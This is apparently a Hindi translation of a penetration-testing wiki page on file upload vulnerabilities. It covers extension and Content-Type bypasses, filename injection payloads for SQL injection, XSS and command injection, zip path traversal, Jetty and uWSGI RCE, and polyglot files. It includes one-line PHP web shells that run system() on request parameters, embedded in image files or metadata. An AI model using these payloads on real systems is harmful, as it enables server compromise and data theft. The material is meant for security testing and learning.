File Upload
अगर आप हैकिंग करियर में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - हम भर्ती कर रहे हैं! (फ्लूएंट पोलिश लिखने और बोलने की आवश्यकता है).
फ़ाइल अपलोड सामान्य मेथडोलॉजी
अन्य उपयोगी एक्सटेंशन:
PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
PHPv8 में काम करना: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
Coldfusion: .cfm, .cfml, .cfc, .dbm
Flash: .swf
Perl: .pl, .cgi
Erlang Yaws Web Server: .yaws
फ़ाइल एक्सटेंशन जांच को छलना
यदि वे लागू होते हैं, तो पिछली एक्सटेंशन की जांच करें। उन्हें कुछ अपरकेस अक्षरों का उपयोग करके भी टेस्ट करें: pHp, .pHP5, .PhAr ...
एक वैध एक्सटेंशन जोड़ने से पहले** निष्पादन एक्सटेंशन की जांच करें (पिछली एक्सटेंशन भी उपयोग करें):
file.png.php
file.png.Php5
अंत में विशेष वर्ण जोड़ने का प्रयास करें। आप बर्प का उपयोग करके सभी एस्की और यूनिकोड वर्णों को ब्रूटफ़ोर्स कर सकते हैं। (ध्यान दें कि आप पिछली उल्लिखित एक्सटेंशन का भी प्रयोग कर सकते हैं)
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.\
file.
file.php....
file.pHp5....
सर्वर-साइड के एक्सटेंशन पार्सर को धोखा देने की कोई तकनीक का उपयोग करके सुरक्षा को छलना करने का प्रयास करें जैसे कि एक्सटेंशन को डबल करना या एक्सटेंशन के बीच कुड़ा डेटा (नल बाइट्स) जोड़ना। आप एक बेहतर payload तैयार करने के लिए पिछली एक्सटेंशन का भी उपयोग कर सकते हैं
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.php\x00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
पिछली जांच में एक और परत एक्सटेंशन जोड़ें:
file.png.jpg.php
file.php%00.png%00.jpg
वैध एक्सटेंशन के पहले निष्पादन एक्सटेंशन डालने का प्रयास करें और यह आशा करें कि सर्वर गलती से कॉन्फ़िगर हो गया है। (जहां एक्सटेंशन के साथ कुछ भी हो सकता है, लेकिन अनिवार्य रूप से .php से समाप्त नहीं होना चाहिए):
उदाहरण: file.php.png
Windows में NTFS वैकल्पिक डेटा स्ट्रीम (ADS) का उपयोग करें। इस मामले में, एक निषिद्ध एक्सटेंशन के बाद और एक अनुमत एक्सटेंशन के पहले एक आवश्यकता है। इसका परिणामस्वरूप, सर्वर पर एक खाली फ़ाइल निर्मित की जाएगी (उदाहरण के लिए, “file.asax:.jpg”). इस फ़ाइल को बाद में संपादित किया जा सकता है अन्य तकनीकों का उपयोग करके जैसे कि इसका छोटा फ़ाइल नाम का उपयोग करना। “::$data” पैटर्न का उपयोग करके गैर-खाली फ़ाइलें बनाने के लिए भी किया जा सकता है। इसलिए, इस पैटर्न के बाद एक डॉट चरित्र जोड़ना भी और निषेधों को छलने के लिए उपयोगी हो सकता है (उदाहरण के लिए, “file.asp::$data.”)
फ़ाइल नाम सीमाओं को तोड़ने का प्रयास करें। वैध एक्सटेंशन काट जाता है। और दुर्भाग्यपूर्ण PHP छोड़ जाता है। AAA<--SNIP-->AAA.php
विषय-प्रकार, मैजिक नंबर, संपीड़न और आकार बाईपास करें
Content-Type जांच को बाईपास करें जोकि Content-Type हेडर के मान को निम्नलिखित में सेट करके कर सकते हैं: image/png , text/plain , application/octet-stream
Content-Type वर्डलिस्ट: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
मैजिक नंबर जांच को बाईपास करें फ़ाइल की शुरुआत में एक वास्तविक छवि के बाइट्स जोड़कर (फ़ाइल कमांड को गलतफहमी देना). या मेटाडेटा में शैल डालें:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
या आप छवि में सीधे पेलोड डाल सकते हैं:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
यदि आपकी छवि में संपीड़न जोड़ा जा रहा है, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके PHP-GD, तो पिछली तकनीक काम नहीं करेगी। हालांकि, आप PLTE चंक यहां परिभाषित तकनीक का उपयोग करके कुछ पाठ डाल सकते हैं जो संपीड़न को सहन करेगा।
वेब पृष्ठ भी छवि का आकार बदल सकता है, उदाहरण के लिए PHP-GD फ़ंक्शन
imagecopyresized
याimagecopyresampled
का उपयोग करके। हालांकि, आप IDAT चंक यहां परिभाषित तकनीक का उपयोग करके कुछ पाठ डाल सकते हैं जो संपीड़न को सहन करेगा।एक तकनीक एक पेलोड बनाने के लिए जो छवि के आकार को सहन करता है, PHP-GD फ़ंक्शन
thumbnailImage
का उपयोग कर सकते हैं। हालांकि, आप tEXt चंक यहां परिभाषित तकनीक का उपयोग करके कुछ पाठ डाल सकते हैं जो संपीड़न को सहन करेगा।
अन्य तरीके जांचने के लिए
फ़ाइल का नाम पुनः नामकरण करने के लिए एक सुरक्षा दोष खोजें (एक्सटेंशन बदलने के लिए)।
एक स्थानीय फ़ाइल समावेशन दोष खोजें ताकि बैकडोर को निष्पादित किया जा सके।
संभावित सूचना फुटने:
कई बार (और एक साथ) एक ही नाम की एक ही फ़ाइल अपलोड करें
एक फ़ाइल अपलोड करें जिसका नाम एक फ़ाइल या फ़ोल्डर का है जो पहले से मौजूद है
एक फ़ाइल अपलोड करें जिसका नाम “.”, “..”, या “…” है। उदाहरण के लिए, एक अपाचे में Windows में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजती है, तो “.” फ़ाइलनाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
एक फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे “…:.jpg” में NTFS में (Windows)
अपलोड करें एक फ़ाइल Windows में अमान्य वर्ण जैसे
|<>*?”
उसके नाम में। (Windows)अपलोड करें एक फ़ाइल Windows में रिजर्व्ड (मना हुआ) नाम जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9।
एक निष्पादन करने के लिए एक एक्सीक्यूटेबल (.exe) या एक .html (कम संदेहजनक) अपलोड करने की कोशिश करें जो यदि दोषी द्वारा अनजाने में खोल दिया जाएगा तो कोड को निष्पादित करेगा।
विशेष एक्सटेंशन ट्रिक्स
यदि आप फ़ाइलें एक PHP सर्वर पर अपलोड करने की कोशिश कर रहे हैं, तो कोड निष्पादन के लिए .htaccess ट्रिक देखें। यदि आप फ़ाइलें एक ASP सर्वर पर अपलोड करने की कोशिश कर रहे हैं, तो कोड निष्पादन के लिए .config ट्रिक देखें।
.phar
फ़ाइलें जावा के लिए .jar
की तरह हैं, लेकिन PHP के लिए हैं, और इसे एक PHP फ़ाइल की तरह उपयोग किया जा सकता है (php के साथ इसे निष्पादित करना, या इसे एक स्क्रिप्ट के भीतर शामिल करना...)
.inc
एक्सटेंशन कभी-कभी उन PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलें आयात करने के लिए हैं, इसलिए, किसी समय, किसी को इस एक्सटेंशन को निष्पादित करने की अनुमति हो सकती है।
Jetty RCE
यदि आप एक XML फ़ाइल को जेटी सर्वर में अपलोड कर सकते हैं तो आप RCE प्राप्त कर सकते हैं क्योंकि नई *.xml और *.war स्वचालित रूप से प्रसंस्कृत होते हैं। तो, जैसा कि निम्नलिखित छवि में उल्लिखित है, XML फ़ाइल को $JETTY_BASE/webapps/
में अपलोड करें और शैल की प्रतीक्षा करें!
uWSGI RCE
इस विकल्प की विस्तृत अन्वेषण के लिए मूल अनुसंधान की जांच करें: uWSGI RCE Exploitation।
दूरस्थ कमांड निष्पादन (RCE) दोष uWSGI सर्वरों में उत्पन्न किए जा सकते हैं यदि किसी को .ini
विन्यास फ़ाइल को संशोधित करने की क्षमता है। uWSGI विन्यास फ़ाइलें "जादू" चर, स्थानधारित चर और ऑपरेटर्स को शामिल करने के लिए विशेष वाक्याकार का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, @(filename)
के रूप में उपयुक्त, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से प्रभावी है, जो प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देता है। यह सुविधा दोषपूर्ण उद्देश्यों के लिए प्रयोग किया जा सकता है जैसे दूरस्थ कमांड निष्पादन या अर्बिट्रेरी फ़ाइल राइट/रीड जब एक .ini
विन्यास फ़ाइल प्रसंस्कृत होती है।
निम्न
दस्तावेज के पार्श्वीकरण के दौरान पेलोड का क्रियान्वयन होता है। पेलोड को सक्रिय करने और पार्स करने के लिए, uWSGI प्रक्रिया को बारंबार चालू किया जाना चाहिए (संभावना से एक क्रैश के बाद या डीनायल ऑफ सर्विस हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्धारित अंतराल पर फ़ाइल को रीलोड करती है।
uWSGI के कॉन्फ़िगरेशन फ़ाइल पार्सिंग की ढीली स्वभाव को समझना महत्वपूर्ण है। विशेष रूप से, चर्चित पेलोड को एक बाइनरी फ़ाइल में डाला जा सकता है (जैसे एक छवि या पीडीएफ), जो संभावित शोषण के दायरे को और भी व्यापक बनाता है।
wget फ़ाइल अपलोड/SSRF ट्रिक
कुछ मौकों पर आपको यह मिल सकता है कि एक सर्वर wget
का उपयोग फ़ाइलें डाउनलोड करने के लिए कर रहा है और आप URL को सूचित कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एकटा सफेद सूची में है ताकि केवल अनुमत फ़ाइलें ही डाउनलोड की जाएं। हालांकि, इस जांच को छल सकता है।
लिनक्स में एक फ़ाइल का नाम की अधिकतम लंबाई 255 है, हालांकि, wget फ़ाइल के नामों को 236 वर्णों में काट देता है। आप "A"*232+".php"+".gif" नाम की एक फ़ाइल डाउनलोड कर सकते हैं, यह नाम जांच को छलेगा (जैसे इस उदाहरण में ".gif" एक मान्य एक्सटेंशन है) लेकिन wget
फ़ाइल का नाम "A"*232+".php" कर देगा।
ध्यान दें कि इस जांच को छलकरने के लिए आपके मन में एक और विकल्प हो सकता है कि HTTP सर्वर को एक विभिन्न फ़ाइल पर पुनर्निर्देशित करने के लिए, इसलिए प्रारंभिक URL जांच को छलकरेगा और फिर wget नए नाम के साथ पुनर्निर्देशित फ़ाइल को डाउनलोड करेगा। यह काम नहीं करेगा जब तक wget को पैरामीटर --trust-server-names
के साथ उपयोग किया जा रहा हो क्योंकि wget प्रारंभिक URL में निर्दिष्ट फ़ाइल के नाम के साथ पुनर्निर्देशित पृष्ठ को डाउनलोड करेगा।
उपकरण
अपलोड छलकरने एक शक्तिशाली उपकरण है जो पेंटेस्टर्स और बग हंटर्स को फ़ाइल अपलोड तंत्रों का परीक्षण करने में मदद करने के लिए डिज़ाइन किया गया है। यह विभिन्न बग इनाम तकनीकों का उपयोग करता है ताकि वेब एप्लिकेशनों की मूल्यांकन को सरल बनाए रखने के लिए सुनिश्चित करता है कि विकल्पों का खोजना और उत्पीड़न करना।
फ़ाइल अपलोड से अन्य सुरक्षा गड़बड़ियों तक
फ़ाइल नाम को
../../../tmp/lol.png
सेट करें और एक पथ ट्रावर्सल प्राप्त करने का प्रयास करेंफ़ाइल नाम को
sleep(10)-- -.jpg
सेट करें और आप एक SQL इंजेक्शन प्राप्त कर सकते हैंफ़ाइल नाम को
<svg onload=alert(document.domain)>
सेट करें और एक XSS प्राप्त करेंफ़ाइल नाम को
; sleep 10;
सेट करें और कुछ कमांड इंजेक्शन का परीक्षण करें (अधिक कमांड इंजेक्शन ट्रिक्स यहाँ)JS फ़ाइल अपलोड + XSS = सेवा कर्मचारियों का शोषण
https://github.com/allanlw/svg-cheatsheet से विभिन्न svg पेलोड का प्रयास करें
प्रसिद्ध ImageTrick वंशनाशी विकल्प](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
यदि आप वेब सर्वर को एक छवि पकड़ने के लिए संकेतित कर सकते हैं तो आप SSRF का दुरुपयोग करने का प्रयास कर सकते हैं। यदि यह छवि किसी सार्वजनिक स्थान में सहेजी जाएगी, तो आप https://iplogger.org/invisible/ से URL को संकेतित कर सकते हैं और प्रत्येक आगंतुक की जानकारी चुरा सकते हैं।
विशेष रूप से तैयार किए गए PDFs से XSS: निम्नलिखित पृष्ठ में यह प्रस्तुत करता है कि JS निष्पादन प्राप्त करने के लिए PDF डेटा को कैसे इंजेक्ट करें। यदि आप PDFs अपलोड कर सकते हैं तो आप दिए गए निर्देशों का पालन करते हुए कुछ PDF तैयार कर सकते हैं जो विचारात्मक JS को निष्पादित करेंगे।
[[eicar](https://secure.eicar.org/eicar.com.txt) सामग्री अपलोड करें ताकि पता लगा सकें कि सर्वर में कोई एंटीवायरस है या नहीं
फ़ाइलें अपलोड करते समय कोई साइज़ सीमा है या नहीं
यहाँ एक शीर्ष 10 सूची है जिन्हें आप अपलोड करके प्राप्त कर सकते हैं (यहाँ से):
ASP / ASPX / PHP5 / PHP / PHP3: वेबशैल / RCE
SVG: स्टोर्ड XSS / SSRF / XXE
GIF: स्टोर्ड XSS / SSRF
CSV: CSV इंजेक्शन
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML इंजेक्शन / XSS / ओपन रीडायरेक्ट
PNG / JPEG: पिक्सेल बाढ़ हमला (DoS)
ZIP: LFI के माध्यम से RCE / DoS
PDF / PPTX: SSRF / BLIND XXE
बर्प एक्सटेंशन
जादू हेडर बाइट्स
PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
JPG:
"\xff\xd8\xff"
अन्य फ़ाइल प्रकारों के लिए https://en.wikipedia.org/wiki/List_of_file_signatures का संदर्भ दें।
ज़िप/टार फ़ाइल स्वचालित रूप से अपलोड करें
यदि आप एक ज़िप अपलोड कर सकते हैं जो सर्वर के अंदर अनज़िप किया जाएगा, तो आप 2 चीजें कर सकते हैं:
सिम्लिंक
अन्य फ़ाइलों के लिए सॉफ़्ट लिंक्स शामिल करने वाला लिंक अपलोड करें, फिर, अनज़िप की गई फ़ाइलों तक पहुंचते हुए आप लिंक की गई फ़ाइलों तक पहुंचेंगे:
विभिन्न फोल्डर में डीकंप्रेस करें
डीकंप्रेशन के दौरान निर्दिष्ट निर्देशिकाओं में फ़ाइलों की अनपेक्षित रचना एक महत्वपूर्ण मुद्दा है। यहाँ तक कि पहली धारणाएँ भी कि इस सेटअप से ओएस स्तरीय कमांड क्रियान्वयन के खिलाफ दुरुपयोगी फ़ाइल अपलोड के माध्यम से सुरक्षित रखा जा सकता है, ZIP आर्काइव प्रारूप की व्यावसायिक संपीड़न समर्थन और निर्देशिका चरण क्षमताएँ दुरुपयोग की जा सकती हैं। इससे हमलावादियों को प्रतिबंधों को छलकर सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति मिलती है जिसे लक्षित एप्लिकेशन की डीकंप्रेशन क्षमता को मनिपुरित करके किया जा सकता है।
ऐसी फ़ाइलें बनाने के लिए एक स्वचालित उत्पीड़न evilarc on GitHub पर उपलब्ध है। यह उपयोगिता निम्नलिखित रूप में प्रयोग की जा सकती है:
इसके अतिरिक्त, एविलार्क के साथ सिमलिंक ट्रिक एक विकल्प है। यदि लक्ष्य है किसी फ़ाइल को लक्षित करना जैसे /flag.txt
, तो उस फ़ाइल के लिए एक सिमलिंक आपके सिस्टम में बनाया जाना चाहिए। इससे यह सुनिश्चित होता है कि एविलार्क अपने संचालन के दौरान त्रुटियों का सामना नहीं करता।
नीचे एक उदाहरण है Python कोड का जो एक दुष्ट zip फ़ाइल बनाने के लिए उपयोग किया जाता है:
फ़ाइल स्प्रे करने के लिए संपीड़न का दुरुपयोग
और विस्तृत जानकारी के लिए मूल पोस्ट देखें: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
एक PHP शैल बनाना: PHP कोड लिखा जाता है जो
$_REQUEST
वेरिएबल के माध्यम से पारित कमांड को निष्पादित करने के लिए है।
फ़ाइल स्प्रे और संपीड़ित फ़ाइल निर्माण: कई फ़ाइलें बनाई जाती है और इन फ़ाइलों को समेत कर एक ज़िप आर्काइव बनाया जाता है।
हेक्स संपादक या वीआई के साथ संशोधन: ज़िप के अंदर की फ़ाइलों के नामों को वीआई या हेक्स संपादक का उपयोग करके बदल दिया जाता है, "xxA" को "../" में बदलकर निर्देशिकाओं को चलना।
ImageTragic
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि सुरक्षा दोष का शोध किया जा सके (ImageMagick, 7.0.1-1) (शोध से शोध)
PHP शैल को PNG में एम्बेड करना
PNG फ़ाइल के IDAT चंक में PHP शैल को एम्बेड करना कुछ इमेज प्रोसेसिंग ऑपरेशन को पार करने में कारगर हो सकता है। PHP-GD से imagecopyresized
और imagecopyresampled
फ़ंक्शन इस संदर्भ में विशेष रूप से महत्वपूर्ण हैं, क्योंकि वे आम तौर पर छवियों को आकार बदलने और रीसैम्पल करने के लिए उपयोग किए जाते हैं। एम्बेडेड PHP शैल की क्षमता कि ये ऑपरेशनों से प्रभावित नहीं होता है, कुछ उपयोग मामलों के लिए एक महत्वपूर्ण लाभ है।
इस तकनीक का विस्तृत अन्वेषण, इसकी विधि और संभावित अनुप्रयोगों के साथ, निम्नलिखित लेख में प्रदान किया गया है: "PNG IDAT चंक में वेब शैल्स को एन्कोड करना"। यह स्रोत प्रक्रिया और इसके परिणामों की एक व्यापक समझ प्रदान करता है।
अधिक जानकारी: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
पॉलीग्लॉट फ़ाइलें
पॉलीग्लॉट फ़ाइलें साइबर सुरक्षा में एक अद्वितीय उपकरण के रूप में काम करती हैं, जो चमेलियन के रूप में कार्य करती हैं जो कई फ़ाइल प्रारूपों में सही रूप से मौजूद हो सकती हैं। एक रोचक उदाहरण है GIFAR, एक हाइब्रिड जो एक GIF और एक RAR आर्काइव दोनों के रूप में काम करता है। ऐसी फ़ाइलें इस जोड़ के सीमित नहीं हैं; GIF और JS या PPT और JS जैसे संयोजन भी संभावित हैं।
पॉलीग्लॉट फ़ाइलों की मूल उपयोगिता उनकी सामरिकता में है जो फ़ाइल प्रकार के आधार पर फ़ाइलों की स्क्रीनिंग करने वाले सुरक्षा उपायों को छलने की क्षमता में है। विभिन्न एप्लिकेशनों में सामान्य अभ्यास शामिल है केवल कुछ फ़ाइल प्रकारों को अपलोड के लिए अनुमति देना—जैसे JPEG, GIF, या DOC—जो संभावित नुकसानकारी प्रारूपों (जैसे JS, PHP, या Phar फ़ाइलें) द्वारा उत्पन्न जोखिम को कम करने के लिए है। हालांकि, एक पॉलीग्लॉट, एकाधिक फ़ाइल प्रकारों के संरचनात्मक मापदंडों का पालन करके, इन प्रतिबंधों को गुप्त रूप से छल सकता है।
उनकी अनुकूलता के बावजूद, पॉलीग्लॉट की कुछ सीमाएँ होती हैं। उदाहरण के लिए, जबकि एक पॉलीग्लॉट समवर्ती रूप से एक PHAR फ़ाइल (PHp ARchive) और एक JPEG को धारण कर सकता है, उसके अपलोड की सफलता निर्भर हो सकती है प्लेटफ़ॉर्म के फ़ाइल एक्सटेंशन नीतियों पर। यदि सिस्टम अनुमत एक्सटेंशन के बारे में कड़ी हो, तो एक पॉलीग्लॉट की केवल संरचनात्मक द्वैतता की सफलता उसके अपलोड की गारंटी नहीं कर सकती।
अधिक जानकारी: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
संदर्भ
यदि आप हैकिंग करियर में रुचि रखते हैं और अनहैकेबल को हैक करना चाहते हैं - हम नियुक्ति कर रहे हैं! (फ्लूएंट पोलिश लिखने और बोलने की आवश्यकता है).
Last updated